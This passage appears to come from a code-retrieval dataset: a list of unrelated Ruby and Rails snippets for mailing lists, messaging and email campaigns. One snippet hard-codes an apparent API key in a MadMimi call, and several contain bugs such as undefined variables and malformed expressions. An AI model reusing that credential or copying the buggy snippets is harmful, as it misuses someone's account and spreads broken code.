0000-01-01.\n raise 'date_sent must be a String with format yyyy-mm-dd' unless date_sent.is_a?(String)\n\n # Get beginning and end of date_sent\n range_start, range_end = unix_time_range(date_sent)\n\n # Lexicographical search by phone (to) and time range\n # to get the message index\n message_indexes = redis.zrangebylex(MESSAGE_INDEX_SET,\n \"(#{to}:#{range_start}\",\n \"[#{to}:#{range_end}\")\n\n return [] if message_indexes.empty?\n\n message_ids = message_indexes.map{ |index| index.split(':').last }\n\n # Return all messages as OpenStructs\n message_ids.map do |id|\n if message_hash = redis.hgetall(\"message:#{id}\")\n OpenStruct.new(message_hash)\n end\n end\n end", "def update_list\n\t\tif emails_changed? and from_contacts\n\t\t\temails_was_arr = emails_was.split(\",\")\n\t\t\temails_arr = emails.split(\",\")\n\t\t\tdeleted_emails = emails_was_arr.diff emails_arr\n\t\t\tadded_emails = emails_arr.diff - emails_was_arr\n\t\t\t\n\t\t\tdeleted_emails.each do |email|\n\t\t\t\tnewsletter.email_service(delete_member_from_list(email))\n\t\t\tend\n\n\t\t\tadded_emails.each do |email|\n\t\t\t\tnewsletter.email_service(add_member_to_list(email))\n\t\t\tend\n\t\tend\n\tend", "def to_s\n '#<Twilio.Messaging.V1.CampaignList>'\n end", "def create\n @mad_mimi_email = MadMimiEmail.new(params[:mad_mimi_email])\n if @mad_mimi_email.list_names == \"users\"\n @mad_mimi_email.list_names = User.where(:notify => true).map{|user| [user.email, {'username' => user.username, 'email' => user.email, 'unsubscribe_link' => \"girlpowerproject.herokuapp.com/users/#{user.id}/change_subscription\"}]}\n end\n if @mad_mimi_email.list_names == \"admins\"\n @mad_mimi_email.list_names = User.where(:admin => true).map{|admin| [admin.email, {'username' => admin.username, 'email' => admin.email}]}\n end\n if @mad_mimi_email.list_names == \"organizations\"\n @mad_mimi_email.list_names = OrganizationAccount.where(:notify => true).map{|org| [org.email, {'firstname' => org.first_name, 'lastname' => org.last_name, 'position' => org.position, 'email' => org.email, 'username' => org.username, 'country' => org.country, 'organization_name' => Organization.find(org.organization_id).name, 'unsubscribe_link' => \"girlpowerproject.herokuapp.com/organization_accounts/#{user.id}/change_subscription\"}]}\n end\n \n @mad_mimi_email.list_names.each do |f|\n @options = {\"promotion_name\" => @mad_mimi_email.promotion_name, \"recipients\" => f[0], \"from\" => @mad_mimi_email.from, \"subject\" => @mad_mimi_email.subject}\n @yaml_body = f[1]\n @saved = MadMimi.new(\"[email protected]\", 'df65cf0a215c2b3028fa7eaf89a6f2ba').send_mail(@options, @yaml_body)\n end\n respond_to do |format|\n if @mad_mimi_email.save\n format.html { redirect_to @mad_mimi_email, notice: 'Mad mimi email was successfully created.', :notice => @saved }\n format.json { render json: @mad_mimi_email, status: :created, location: @mad_mimi_email }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mad_mimi_email.errors, status: :unprocessable_entity }\n end\n end\n end", "def list_test_dispatch(list)\n list.subscribers.each do |subscriber|\n mail(\n :to => \"#{subscriber.name} <#{subscriber.email}>\",\n :subject => \"[#{list.name}] Test Mailing\",\n :date => Time.zone.now\n )\n end\n end", "def to_mailing_list(topic, email, subscriber, message)\n @email = email\n \n # Set additional headers\n headers['List-ID'] = topic.list.email\n headers['List-Post'] = topic.list.email\n # headers['List-Unsubscribe'] = \"#{ENV['PROTOCOL'] || \"http\"}://#{topic.list.domain}/lists/#{ topic.list.id }/unsubscribe\"\n headers['Reply-To'] = reply_to_address(topic, message)\n\n mail(\n :to => \"#{subscriber.name} <#{subscriber.email}>\",\n :from => \"#{message.author.name} via #{topic.list.name} <#{topic.list.email}>\",\n # :from => \"#{message.author.name} <#{message.author.email}>\",\n :subject => subject(topic),\n :date => Time.zone.now\n )\n end", "def list(options={})\n Mailgun.submit(:get, campaign_url, options)[\"items\"] || []\n end", "def admin_1099_received_list\n %w( [email protected] )\n end", "def maillist\n @cntcts = current_user.organization.contacts\n @tmrec = Array.new\n params[:ids].split(\",\").map do |id|\n @tmrec << TimeRecord.find_by_id(id)\n end\n @tmrec_array = params[:ids]\n render :partial => \"maillist\", :layout => false\n end", "def set_recipient_list\n @recipient_list = RecipientList.find(params[:id])\n end", "def link_to_mailing_list(text, mailing_list_name, *args)\n link_to_function text, \"CCPEVE.joinMailingList(#{mailing_list_name.inspect})\", *args\n end", "def lists\n @links = Link.all\n @short_link = ActionMailer::Base.default_url_options[:host]\n end", "def recipients_from_to\n to\n end", "def auto_complete_for_message_to\n q = params[:message][:to] if params[:message]\n render :nothing => true if q.blank?\n @users = User.find(:all, :order => \"login ASC\", :conditions => [\"login LIKE ?\", \"%#{q}%\"], :limit => 10)\n render :inline => \"<%= content_tag(:ul, @users.map { |u| content_tag(:li, h(u.login)) }) %>\"\n end", "def email_all\n wc = Incoming::Workcamp.find(params[:id])\n addresses = wc.participants.map { |p| p.organization.email.to_s.strip }\n redirect_to \"mailto:#{addresses.join(',')}\"\n end", "def send_to_bcc!\n sender = \"#{self.sender.first_name} #{self.sender.last_name} <#{EMAIL_FROM_ADDRESS}>\"\n emails = self.bcc.split(/[, ]/).map(&:strip).map(&:downcase).reject(&:blank?)\n\n emails.each do |email|\n mlse = MailingListSentEmail.new(\n :mailing_list_email_id => self.id,\n :recipients => [email],\n :subject => self.subject,\n :sender => sender,\n :user_provided_content => self.mail_contents,\n :attachments => self.email_attachments\n )\n mlse.send!\n end\n end", "def maillist_prod\n maillist_parse(maillist_prod_file)\n end", "def contact_to(subject)\n sent_contacts.received_by(subject).first\n end", "def recipients_in_list\n if request.get?\n render :layout => \"modal\"\n return\n end\n \n list = params[:accounts].strip.split(/\\n|,/).uniq\n conditions = [\n \"(erp_account_number IN (:list) OR serial_number IN (:list))\",\n { :list => list }\n ]\n conditions.first << \" AND do_not_contact = false\" unless params[:ignore_do_not_contact]\n @recipients = StoreUser.find(\n :all,\n :conditions => conditions,\n :joins => \"LEFT OUTER JOIN serial_numbers ON serial_numbers.account_num = erp_account_number\",\n :include => \"customer\"\n ) rescue []\n render :partial => \"mail_recipients\", :layout => false\n end", "def admin_project_created_list\n %w( [email protected] )\n end", "def index\n @mailing_lists = MailingList.all\n @email = @mailing_lists.collect(&:email).join(\"; \")\n end", "def message_list(project_id, category_id=nil)\n url = \"/projects/#{project_id}/msg\"\n url << \"/cat/#{category_id}\" if category_id\n url << \"/archive\"\n \n records \"post\", url\n end", "def list\n @marketing_campaigns = MarketingCampaign.paginate( :page => params[:page], :per_page => 10, :order => 'finished_at DESC') \n end", "def fNotificationListFrom (email)\n @users.notificationListFrom(email)\n end", "def send_email_message (template_name, message_tokens, recipient_list, subject)\n recipient_list = Array(recipient_list) unless recipient_list.is_a?(Array)\n\n puts recipient_list\n\n @message_tokens = message_tokens\n\n recipient_list.each do |recipient|\n mail( to: recipient,\n subject: subject,\n template_name: template_name\n ).deliver\n end\n end", "def perform (from=nil)\n if from.nil?\n subscribers = Octo::Subscriber.where(created_at: 24.hours.ago..Time.now.floor)\n else\n subscribers = Octo::Subscriber.where(created_at: from..Time.now.floor)\n end\n # MAIL CODE\n Octo.get_config(:email_to).each { |x|\n opts1 = {\n text: \"Today number of new susbcribes are \" + subscribers.length,\n name: x.fetch('name')\n }\n Octo::Email.send(x.fetch('email'), subject, opts1)\n }\n end", "def lists\n @lists ||= ActsAsIcontact::Subscription.lists(:contactId => id)\n end", "def subscribe(list)\n l = ActsAsIcontact::List.find(list)\n s = ActsAsIcontact::Subscription.new(:contactId => id, :listId => l.id)\n s.save\n end", "def show\n @message = Admin::Message.find(params[:id])\n @contacts = ContactList.find(:all,:include => [:message_contact_lists],:conditions =>['message_contact_lists.message_id = ?',@message])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end", "def create\n #@message = Message.new(params[:message])\n @to_names = params[:message][:to_name].gsub(/,\\s+/,',')\t\t#sample - \"Saadah,Sulijah\"\n \t@to_name_A = @to_names.split(\",\") \t\t\t\t\t\t\t\t\t\t\t#will become - [\"Saadah\",\"Sulijah\"]\n \t@to_id_A = []\n \t@to_name_A.each do |to_name|\n \t\taa = Staff.find_by_name(to_name).id\t\t\t\t\t\t\t\t\t\t#result(sample)- [\"1\",\"7\"]\n \t\t@to_id_A << aa.to_i\n \tend\n\n \t@message = Message.new\n \[email protected]_ids = []\n \t#@message.staff_ids = [\"1\",\"7\"] \t\t\t\t\t\t\t\t\t\t\t#the BEST-correct format for this association\n \[email protected]_ids = @to_id_A \n \[email protected] = params[:message][:message]\n\n respond_to do |format|\n if @message.save\n flash[:notice] = t('messages.title')+\" \"+t('created')\n format.html { redirect_to(@message) }\n format.xml { render :xml => @message, :status => :created, :location => @message }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @message.errors, :status => :unprocessable_entity }\n end\n end\n end", "def get_contact_list\n\t\tbegin\n @contact_list = current_political_campaign.contact_lists.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n \tflash[:error] = \"The requested Contact List was not found.\"\n \tredirect_back_or_default customer_control_panel_url\n end\n\tend", "def index\n # check if this current_user are involved in conversation\n if current_user == @conversation.sender || current_user == @conversation.recipient\n @other = current_user == @conversation.sender ? @conversation.recipient : @conversation.sender\n\n # 送信先のユーザー名を取得\n if current_user == @conversation.sender\n @recipient_user_name = @conversation.recipient.name\n else\n @recipient_user_name = @conversation.sender.name\n end\n\n @messages = @conversation.messages.order(\"created_at DESC\")\n else\n redirect_to conversations_path, alert: \"他人のメッセージにアクセスできません\"\n end\n\n end", "def maillist\n @report_id = params[:id]\n @project_format = params[:project_format]\n if params[:waiting_for] == 'sent'\n @q = current_user.organization.statusreports.search(params[:q])\n @statusreports = @q.result(:distinct => true).find(:all,:conditions => ['sent_by IS ?',nil])\n else\n @q = current_user.organization.statusreports.search(params[:q])\n @statusreports = @q.result(:distinct => true).find(:all,:order => 'updated_at DESC')\n end\n render :partial => \"maillist\", :layout => false\n end", "def chat_with user, limit=20\n from_to_stamp = [\"#{self.id}-#{user.id}\",\"#{user.id}-#{self.id}\"]\n Message.where(:from_to_stamp.in => from_to_stamp).order_by([:created_at,:desc]).limit(limit)\n end", "def get_for_list(list_id, page)\n full_path = full_resource_path(\"/#{list_id}/contacts\", 'lists')\n query_params = MaropostApi.set_query_params({page: page})\n \n MaropostApi.get_result(full_path, query_params)\n end", "def contacts(contact_message)\n p \"====\"\n p \"contacts\"\n p \"contacts\"\n p \"====\"\n @settings = Setting.get('contacts')\n @contact_message = contact_message\n\n mail to: @settings.emails, subject: \"Новое сообщение ##{@contact_message.id}\"\n end", "def jobs_notifier(email_list)\n @listed_jobs = JobPosting.where(created_at: (Time.now.midnight-5.days)..(Time.now))\n @greeting = \"Hi\"\n headers['X-SMTPAPI'] = { :to => email_list.to_a }.to_json\n mail(\n :to => \"[email protected]\",\n :subject => \"New Job Posted!\"\n )\n \n end", "def index\n list = current_user.chats.pluck :id\n\n options = filter_params\n options[:id] = filter_params[:id] == 'all' ? list : [filter_params[:id]]\n @messages = ChatMessage.filter options\n @messages = @messages.group_by(&:chat_id)\n end", "def make_dlist(cuds)\n emails = []\n\n cuds.each do |cud|\n emails << cud.user.email.to_s\n end\n\n emails.join(\",\")\n end", "def create_sent_messages \n target_members = self.members +\n (Group.members_in_multiple_groups(to_groups_array) & # an array of users\n Member.those_in_country)\n @contact_info = target_members.map {|m| {:member => m, :phone => m.primary_phone, :email => m.primary_email}}\n # Remove members from @contact_info if they do not have the needed contact info (phone or email)\n # We may want to keep track of those people since they _should_ get the message but we don't have\n # the necessary info to get it to them by the specified routes (phone or email).\n case\n when self.send_sms && !self.send_email\n @contact_info.delete_if {|c| c[:phone].nil?}\n when !self.send_sms && self.send_email\n @contact_info.delete_if {|c| c[:email].nil?}\n when self.send_sms && self.send_email\n @contact_info.delete_if {|c| c[:email].nil? && c[:phone].nil?}\n end\n self.members = @contact_info.map {|c| c[:member]}\n end", "def notification_of_new_comment_to_followed_listing(comment, recipient, host=nil)\n set_locale recipient.locale\n subject_string = comment.author.name + \" on kommentoinut ilmoitusta jota seuraat\"\n url = host ? \"http://#{host}#{listing_path(comment.listing.id)}\" : \"test_url\"\n settings_url = host ? \"http://#{host}#{person_settings_path(recipient.id)}\" : \"test_url\"\n recipients recipient.email\n from APP_CONFIG.kassi_mail_from_address\n subject subject_string\n body :comment => comment, :url => url, :settings_url => settings_url, :listing_title => get_title_with_category(comment.listing)\n end", "def auto_complete_for_message_to\n query = params[:message][:to]\n @people = Person.all(:order => \"last_name ASC\", :conditions => ['first_name LIKE ? or last_name LIKE ?', \"#{query}%\", \"#{query}%\"])\n render :partial=>\"auto_complete_for_message_to\"\n end", "def new_message(message)\n @message = message\n mail_ids = @message.batch.students.pluck(:email)*\",\"\n mail to: \"#{mail_ids}\", subject: \"A message from your trainer\"\n end", "def scan(mhead, mbody)\n return nil unless mhead['x-mlserver']\n return nil unless mhead['from'] =~ /.+[-]admin[@].+/\n return nil unless mhead['message-id'] =~ /\\A[<]\\d+[.]FML.+[@].+[>]\\z/\n\n dscontents = [Sisimai::Bite.DELIVERYSTATUS]\n hasdivided = mbody.split(\"\\n\")\n rfc822list = [] # (Array) Each line in message/rfc822 part string\n blanklines = 0 # (Integer) The number of blank lines\n readcursor = 0 # (Integer) Points the current cursor position\n recipients = 0 # (Integer) The number of 'Final-Recipient' header\n v = nil\n\n readcursor |= Indicators[:deliverystatus]\n while e = hasdivided.shift do\n if (readcursor & Indicators[:'message-rfc822']) == 0\n # Beginning of the original message part\n if e == StartingOf[:rfc822][0]\n readcursor |= Indicators[:'message-rfc822']\n next\n end\n end\n\n if readcursor & Indicators[:'message-rfc822'] > 0\n # After \"Original mail as follows:\" line\n #\n # From [email protected] Mon Nov 20 18:10:11 2017\n # Return-Path: <[email protected]>\n # ...\n #\n if e.empty?\n blanklines += 1\n break if blanklines > 1\n next\n end\n rfc822list << e.lstrip\n else\n # Before \"message/rfc822\"\n next if (readcursor & Indicators[:deliverystatus]) == 0\n next if e.empty?\n\n # Duplicated Message-ID in <[email protected]>.\n # Original mail as follows:\n v = dscontents[-1]\n\n if cv = e.match(/[<]([^ ]+?[@][^ ]+?)[>][.]\\z/)\n # Duplicated Message-ID in <[email protected]>.\n if v['recipient']\n # There are multiple recipient addresses in the message body.\n dscontents << Sisimai::Bite.DELIVERYSTATUS\n v = dscontents[-1]\n end\n v['recipient'] = cv[1]\n v['diagnosis'] = e\n recipients += 1\n else\n # If you know the general guide of this list, please send mail with\n # the mail body \n v['diagnosis'] ||= ''\n v['diagnosis'] << e\n end\n end\n end\n return nil unless recipients > 0\n\n dscontents.each do |e|\n e['diagnosis'] = Sisimai::String.sweep(e['diagnosis'])\n e['agent'] = self.smtpagent\n e.each_key { |a| e[a] ||= '' }\n\n ErrorTable.each_key do |f|\n # Try to match with error messages defined in ErrorTable\n next unless e['diagnosis'] =~ ErrorTable[f]\n e['reason'] = f.to_s\n break\n end\n\n unless e['reason']\n # Error messages in the message body did not matched\n ErrorTitle.each_key do |f|\n # Try to match with the Subject string\n next unless mhead['subject'] =~ ErrorTitle[f]\n e['reason'] = f.to_s\n break\n end\n end\n end\n\n rfc822part = Sisimai::RFC5322.weedout(rfc822list)\n return { 'ds' => dscontents, 'rfc822' => rfc822part }\n end", "def new_sms_updates(content, tonumber)\n\[email protected] do |message|\n\tRails.logger.debug(message.body)\n\tend\n end", "def headers\n {\n :subject => \"IRL Checklist\",\n :to => \"[email protected]; [email protected]; [email protected]; [email protected]; [email protected]\",\n :from => \"IRL Checklist <[email protected]>\"\n }\n end", "def email_cleaned\n {\n :list_id => data['list_id'],\n :fired_at => params['fired_at'],\n :campaign_id => data['campaign_id'],\n :email => data['email'],\n :reason => data['reason'],\n :human => \"#{data['email']} was cleaned from Mailchimp list with ID #{data['list_id']}. Reason: '#{data['reason']}'\"\n }\n end", "def assign_rooms (names_list)\n\t\nmsgs_with_room_no=names_list.collect.each_with_index{ |current_name,current_index| \"Hello, #{current_name}! You'll be assigned to room #{current_index+1}!\"\n }\n\t\nend", "def handle_message( from, to_list, message )\n # Strip SMTP commands from To: and From:\n from.gsub!( /MAIL FROM:\\s*/, \"\" )\n to_list = to_list.map { |to| to.gsub( /RCPT TO:\\s*/, \"\" ) }\n\n puts \"* Message begins\"\n puts \" From: #{from}\"\n puts \" To: #{to_list.join(\", \")}\"\n puts \" Body:\"\n puts message\n puts \"\\n* Message ends\"\n\n end", "def process_email(email, subscriber)\n recipients = list.recipients(subscriber)\n process_message messages.build(\n :mail_list => self,\n :subscriber => subscriber,\n :recipients => recipients,\n :email => email\n ), :copy_sender => list.copy_sender?(subscriber)\n end", "def update\n\n #--27-29 Apr 2012--\t\n \t@to_names = params[:message][:to_name].gsub(/,\\s+/,',')\t\t#sample - \"Saadah,Sulijah\"\n \t@to_name_A = @to_names.split(\",\") \t\t\t\t\t\t\t\t\t\t\t#will become - [\"Saadah\",\"Sulijah\"]\n \t@to_id_A = []\n \t@to_name_A.each do |to_name|\n \t\taa = Staff.find_by_name(to_name).id\t\t\t\t\t\t\t\t\t\t#result(sample)- [\"1\",\"7\"]\n \t\t@to_id_A << aa.to_i\n \tend\n\n \t@message = Message.find(params[:id])\n \[email protected]_ids = []\n \t#@message.staff_ids = [\"1\",\"7\"] \t\t\t\t\t\t\t\t\t\t\t#the BEST-correct format for this association\n \[email protected]_ids = @to_id_A \n \[email protected] = params[:message][:message]\n #--27-29 Apr 2012--\t\n respond_to do |format|\n \t if @message.update_attributes(:staff_ids => @message.staff_ids, :message => @message.message )\t\n #if @message.update_attributes(params[:message])\n flash[:notice] = t('messages.title')+\" \"+t('updated')\n format.html { redirect_to(@message) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @message.errors, :status => :unprocessable_entity }\n end\n end\n end", "def export_ransack\n list_name = params.delete(:segment_name)\n @q = Person.ransack(params[:q])\n @results = @q.result.includes(:tags)\n @mce = MailchimpExport.new(name: list_name, recipients: @results.collect(&:email_address), created_by: current_user.id)\n if @mce.with_user(current_user).save\n Rails.logger.info(\"[SearchController#export] Sent #{@mce.recipients.size} email addresses to a static segment named #{@mce.name}\")\n respond_to do |format|\n format.js {}\n end\n else\n Rails.logger.error(\"[SearchController#export] failed to send event to mailchimp: #{@mce.errors.inspect}\")\n format.all { render text: \"failed to send event to mailchimp: #{@mce.errors.inspect}\", status: 400 }\n end\n end", "def chimpSubscribe(apikey, list_id, email, merge_vars, content_type = 'html', double_opt = true)\n raise_errors(apikey, list_id)\n chimpAPI ||= XMLRPC::Client.new2(\"http://api.mailchimp.com/1.1/\")\n chimpAPI.call(\"listSubscribe\", apikey, list_id, email, merge_vars, content_type, double_opt)\n end", "def list_headers\n {\n 'list-id' => list_id,\n 'list-archive' => archive_url,\n 'list-subscribe' => subscribe_url,\n 'list-unsubscribe' => unsubscribe_url,\n 'list-owner' => owner_url,\n 'list-help' => help_url,\n 'list-post' => post_url\n }\n end", "def contact_team_members(contact_list, response, team, sender)\n message_string = team + \" needs your attention \"\n contacts = contact_list.split(\",\")\n contacts.each do |contact|\n user = user_ids.find { |user| user[:name] == contact }\n message_string.concat(\" <@#{user[:id]}>\")\n end\n write_error_to_file(sender, team)\n response.reply(message_string)\n end", "def by_mail_tracker\n end", "def retrieve_messages(from = 10)\n uri = \"/#{@get_url}?#{get_query_string}\"\n lists = []\n @https_.start do\n body = @https_.get(uri, @get_header_).body\n StringIO.open(body, 'rb') do |sio|\n content = Zlib::GzipReader.wrap(sio).read\n lists = JSON.load(content)['result']['chat_list']\n end\n end\n\n new_message = []\n lists.each do |list|\n if list['tm'] >= Time.now.to_i - from\n new_message << list['msg']\n end\n end\n\n return new_message\n end", "def index\n setup_recipients\n @footer = \"\"\n end", "def initialize(args={})\n args = DEFAULT_ATTRIBUTES.merge(args)\n \n @list_name = args[:list_name] || Postal.options[:list_name]\n @to = args[:to] \n \n if args[:mailing].nil?\n @additional_headers = args[:additional_headers] \n @attachments = args[:attachments] \n @bypass_moderation = args[:bypass_moderation] \n @campaign = args[:campaign] \n @char_set_id = args[:char_set_id] \n @detect_html = args[:detect_html] \n @dont_attempt_after_date = args[:dont_attempt_after_date] \n @enable_recovery = args[:enable_recovery] \n @from = args[:from] \n @html_message = args[:html_message] \n @html_section_encoding = args[:html_section_encoding] \n @is_html_section_encoded = args[:is_html_section_encoded] \n @is_text_section_encoded = args[:is_text_section_encoded]\n @recency_number_of_mailings = args[:recency_number_of_mailings]\n @recency_which = args[:recency_which]\n @reply_to = args[:reply_to]\n @resend_after_days = args[:resend_after_days]\n @sample_size = args[:sample_size]\n @scheduled_mailing_date = args[:scheduled_mailing_date]\n @subject = args[:subject]\n @text_message = args[:text_message]\n @text_section_encoding = args[:text_section_encoding]\n @title = args[:title]\n @to = args[:to]\n @track_opens = args[:track_opens]\n @rewrite_date_when_sent = args[:rewrite_date_when_sent]\n @mailing = args[:mailing]\n else\n @subject = args[:mailing].subject\n @is_html_section_encoded = args[:mailing].is_html_section_encoded\n @html_section_encoding = args[:mailing].html_section_encoding\n @html_message = args[:mailing].html_message\n @char_set_id = args[:mailing].char_set_id\n @is_text_section_encoded = args[:mailing].is_text_section_encoded\n @text_section_encoding = args[:mailing].text_section_encoding\n @title = args[:mailing].title\n @text_message = args[:mailing].text_message\n @attachments = args[:mailing].attachments\n @from = args[:mailing].from\n @additional_headers = args[:mailing].additional_headers\n @mailing = args[:mailing]\n end\n end", "def index\n redirect_to mailerlists_path\n #@mailernames = Mailername.all\n end", "def mailer_to_list(list, options = {})\n list = list.join(',') if list.is_a?(Array)\n options = {:list_name => list}.merge(options)\n response = post('mailer/to_list', options)\n # response was a string that included RestClient::AbstractResponse,\n # and it overrided #to_i method (which returns status code)\n String.new(response).to_i\n end", "def index\n all_mail_users =\n case @type\n when 'applicable'\n @recipient_list.applicable_mail_users\n when 'included'\n @recipient_list.included_mail_users\n when 'excluded'\n @recipient_list.excluded_mail_users\n end&.order(:name)\n\n @mail_users =\n if params[:page] == 'all'\n all_mail_users&.page(nil)&.per(all_mail_users&.count)\n else\n all_mail_users&.page(params[:page])\n end\n\n flash.alert = '指定のリストはありません。' if @mail_users.nil?\n end", "def subjects\n links = frm.table(:class=>\"listHier\").links.find_all { |link| link.title=~/View announcement/ }\n subjects = []\n links.each { |link| subjects << link.text }\n return subjects\n end", "def do_migrate_forum_members(from, to)\n result = []\n raise ArgumentError, 'Arguments missing' if from.nil? or to.nil?\n from_club = SyClub.find(from)\n to_club = SyClub.find(to)\n\n raise 'Atleast one forum address must be present.' if to_club.address.try(:country_id).nil? and from_club.address.try(:country_id).nil?\n\n india_event_id = GlobalPreference.get_value_of('india_clp_events').to_s.split(',').first\n global_event_id = GlobalPreference.get_value_of('global_clp_events').to_s.split(',').first\n\n # We are moving data to clp product so it will automatic consider 1st seating category for data movement.\n india_event = Event.find(india_event_id)\n global_event = Event.find(global_event_id)\n\n event_seating_category_association = india_event.event_seating_category_associations.first\n seating_category_id = event_seating_category_association.seating_category_id #18\n event_seating_category_association_id = event_seating_category_association.id #98\n price = event_seating_category_association.price #50\n\n details = Hash.new\n details[:india] = {seating_category_id: seating_category_id, event_seating_category_association_id: event_seating_category_association_id, price: price, event_id: event_seating_category_association.event_id, searchable_ids: [india_event_id, global_event_id]}\n\n event_seating_category_association = global_event.event_seating_category_associations.first\n seating_category_id = event_seating_category_association.seating_category_id #18\n event_seating_category_association_id = event_seating_category_association.id #98\n price = event_seating_category_association.price #50\n\n details[:global] = {seating_category_id: seating_category_id, event_seating_category_association_id: event_seating_category_association_id, price: price, event_id: event_seating_category_association.event_id, searchable_ids: [india_event_id, global_event_id]}\n\n if to_club.address.try(:country_id) == 113 or from_club.address.try(:country_id) == 113\n detail = details[:india]\n else\n detail = details[:global]\n end\n\n puts \"Migrating members from: #{from_club.name}-#{from_club.id} to: #{to_club.name}-#{to_club.id}.\"\n file_name = \"members-migration-result-from-#{from_club.id}-to-#{to_club.id}\"\n\n to_club_members = to_club.sy_club_members\n\n # Real logic of migration\n from_club.sy_club_members.each do |_from_member|\n\n # Check the status if approved member then proceed else soft delete with metadata\n if SyClubMember.statuses[_from_member.status] == SyClubMember.statuses['approve']\n registration = create_or_find_clp_registration(detail, _from_member)\n\n _from_member = _from_member.reload\n\n if registration.id != _from_member.event_registration_id\n\n result.push([_from_member.sadhak_profile_id, _from_member.sy_club_id, _from_member.id, _from_member.event_registration_id, \"Found Registered on forum: #{registration.sy_club_member.sy_club_id}\", \"Found Member ID: #{registration.sy_club_member.id}\", \"Found Registration ID: #{registration.id}\", \"Sadhak profile registered on other forum (#{registration.sy_club_member.sy_club_id}), clp registration id: #{registration.id}, member id: #{registration.sy_club_member.id}\"])\n\n _from_member.update_columns(is_deleted: true, metadata: \"Marked deleted and migrated from #{from_club.id} to #{to_club.id} forum. Time: #{Time.now}\")\n\n next\n end\n\n # Update event order sy_club_id as it is associated with same forum or created a new one against same\n registration.event_order.update_columns(sy_club_id: to_club.id)\n\n # Find in exisiting members in which we are moving\n found = to_club_members.find{ |_m| _m.sadhak_profile_id == _from_member.sadhak_profile_id }\n\n # Raise error if _from_member_id match with registration_associated_member_id and we found one more approved entry in to_club members\n raise \"Double forum members entry found: first_member_id: #{_from_member.id}, second_member_id: #{found.id}\" if found.present? and SyClubMember.statuses[found.status] == SyClubMember.statuses['approve'] and found.event_registration.present?\n\n # Found: Proceed else create a fresh entry from old member\n if found.present? and SyClubMember.statuses.slice(:pending, :approve).values.include?(SyClubMember.statuses[found.status])\n\n status_was = found.status\n\n found.update_columns(_from_member.attributes.deep_symbolize_keys.except(:id, :created_at, :updated_at, :sy_club_id).merge({status: SyClubMember.statuses['approve']}))\n\n result.push([found.sadhak_profile_id, _from_member.sy_club_id, _from_member.id, _from_member.event_registration_id, found.sy_club_id, found.id, found.event_registration_id, \"Member found with #{status_was} status.\"])\n\n _from_member.update_columns(is_deleted: true, metadata: \"Marked deleted and migrated from #{from_club.id} to #{to_club.id} forum. Found a member with id: #{found.id} and status was #{status_was}. Time: #{Time.now}\")\n\n else\n\n # Create a new entry to this club and no need to assign validity days and registration id as it is copied\n new_member = SyClubMember.new(_from_member.attributes.deep_symbolize_keys.except(:id, :created_at, :updated_at).merge({sy_club_id: \"#{to_club.id}\", status: SyClubMember.statuses['approve']}))\n\n raise ActiveRecord::Rollback, new_member.errors.full_messages.first unless new_member.save\n\n result.push([new_member.sadhak_profile_id, _from_member.sy_club_id, _from_member.id, _from_member.event_registration_id, new_member.sy_club_id, new_member.id, new_member.event_registration_id, 'New member created successfully.'])\n\n _from_member.update_columns(is_deleted: true, metadata: \"Marked deleted while migrating members from #{from_club.id} to #{to_club.id} forum. Created a new entry with id: #{new_member.id}. Time: #{Time.now}\")\n\n end\n else\n\n _from_member.update_columns(is_deleted: true, metadata: \"Marked deleted because status was #{_from_member.status} while migrating members from #{from_club.id} to #{to_club.id} forum. Time: #{Time.now}\")\n end\n end\n\n # Mark forum as deleted\n from_club.update_columns(is_deleted: true, metadata: \"Members are migrated to forum #{to_club.id}. Email Reference: Fwd: Duplicate Forums' Data to be Removed. Time: #{Time.now}\")\n\n begin\n result_header = %w(SADHAK_PROFILE_ID FROM_CLUB FROM_CLUB_MEMBER_ID FROM_CLUB_REGISTRATION_ID TO_CLUB TO_CLUB_MEMBER_ID TO_CLUB_REGISTRATION_ID MESSAGE)\n from_club.generate_excel_and_upload(rows: result, header: result_header, file_name: \"#{file_name}-#{DateTime.now.strftime('%F %T')}-success.xls\", prefix: \"#{ENV['ENVIRONMENT']}/scripts/forum_data_migration/dupilcate_forums_migration\") if result.size > 0\n rescue => e\n Rollbar.error(e)\n end\n end", "def recipient; end", "def announce_post(listname,domain,subject,message,name,options={})\n values = {\n \"listname\" => listname,\n \"domain\" => domain,\n \"subject\" => subject,\n \"message\" => message,\n \"name\" => name\n }.merge(options)\n doc = request(\"announcement_list-post_announcement\", values, true)\n api_error?(doc)\n true\n end", "def index\n flash[:status] = nil\n @customer = Customer.new\n\n if !params[:campaign_id].nil?\n @customer.campaign_id = params[:campaign_id]\n @customers = Customer.where(campaign_id: params[:campaign_id]).order!(:first_name, :last_name)\n else\n @customers = Customer.where(campaign_id: 0)\n end\n\n @message = Message.find_by_campaign_id(params[:campaign_id])\n end", "def select_activity(list)\n\t\tif !(list.instance_of? Project) && !(list.instance_of? Milestone) && !(list.instance_of? Form) && !(list.instance_of? Client) && !(list.instance_of? Contact)\n\t\t\tif list.user != nil\n\t\t\t\tif list.user.type != \"Contact\"\n\t\t\t\t\tutag = '<p><strong>'+list.user.name+'</strong> '\n\t\t\t\telse\n\t\t\t\t\tutag = '<p><strong>'+list.user.name+'</strong> (<a href=\"/clients/'+list.user.client.id.to_s+'\" class=\"clientLink\">'+list.user.client.name+'</a>) '\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tutag = '<p><strong>'+t('contact.old')+'</strong> '\n\t\t\tend\n\t\tend\n\t\tif list.updated_at.day == Date.current.day\n\t\t\tto_print = \"Hoy \" + list.updated_at.strftime(\"%H:%M\").to_s\n\t\telse\n\t\t if list.updated_at.day + 1 == Date.current.day\n\t\t\t to_print = \"Ayer \" + list.updated_at.strftime(\"%H:%M\").to_s\n\t\t else\n\t\t\t to_print = list.updated_at.strftime(\"%b %d\").to_s\n\t\t end\n\t\tend\n\t\tif (list.instance_of? Mood)\n\t\t\tif list.mood == \"Happy\"\n \tfacemood = ' <i class=\"face-veryhappy\"></i> '\n \telsif list.mood == \"Satisfied\"\n \t\tfacemood = ' <i class=\"face-happy\"></i> '\n \telsif list.mood == \"Neutral\"\n \t\tfacemood = ' <i class=\"face-neutral\"></i> '\n \telsif list.mood == \"Sad\"\n \t\tfacemood = ' <i class=\"face-sad\"></i> '\n \telse\n \t\tfacemood = ' <i 